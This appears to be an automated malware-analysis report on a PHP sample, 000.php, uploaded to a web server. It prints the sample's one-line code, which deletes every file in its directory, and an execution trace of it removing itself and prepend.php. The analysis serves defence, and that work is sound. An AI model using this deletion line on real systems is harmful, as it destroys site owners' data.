PHP Malware Analysis

000.php

md5: e792d5c99fbdbed6e8f2bc7221de79fe

Jump to: 

Screenshot
Attributes
Deobfuscated PHP code
<?php

array_map('unlink', glob("*"));
Execution traces
data/traces/e792d5c99fbdbed6e8f2bc7221de79fe_trace-1676254587.2529.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-13 00:16:53.150736]
1	0	1	0.000147	393512
1	3	0	0.000189	393576	{main}	1		/var/www/html/uploads/000.php	0	0
2	4	0	0.000205	393576	glob	0		/var/www/html/uploads/000.php	2	1	'*'
2	4	1	0.000251	394088
2	4	R			[0 => '000.php', 1 => 'data', 2 => 'prepend.php']
2	5	0	0.000273	394056	array_map	0		/var/www/html/uploads/000.php	2	2	'unlink'	[0 => '000.php', 1 => 'data', 2 => 'prepend.php']
3	6	0	0.000292	394184	unlink	0		/var/www/html/uploads/000.php	2	1	'000.php'
3	6	1	0.000327	394336
3	6	R			TRUE
3	7	0	0.000341	394616	unlink	0		/var/www/html/uploads/000.php	2	1	'data'
3	7	1	0.000373	394656
3	7	R			FALSE
3	8	0	0.000387	394616	unlink	0		/var/www/html/uploads/000.php	2	1	'prepend.php'
3	8	1	0.000411	394656
3	8	R			TRUE
2	5	1	0.000425	394616
2	5	R			[0 => TRUE, 1 => FALSE, 2 => TRUE]
1	3	1	0.000441	393688
			0.000465	314224
TRACE END   [2023-02-13 00:16:53.151082]


Generated HTML code
<html><head></head><body></body></html>
Original PHP code
<?php
array_map('unlink', glob("*"));
?>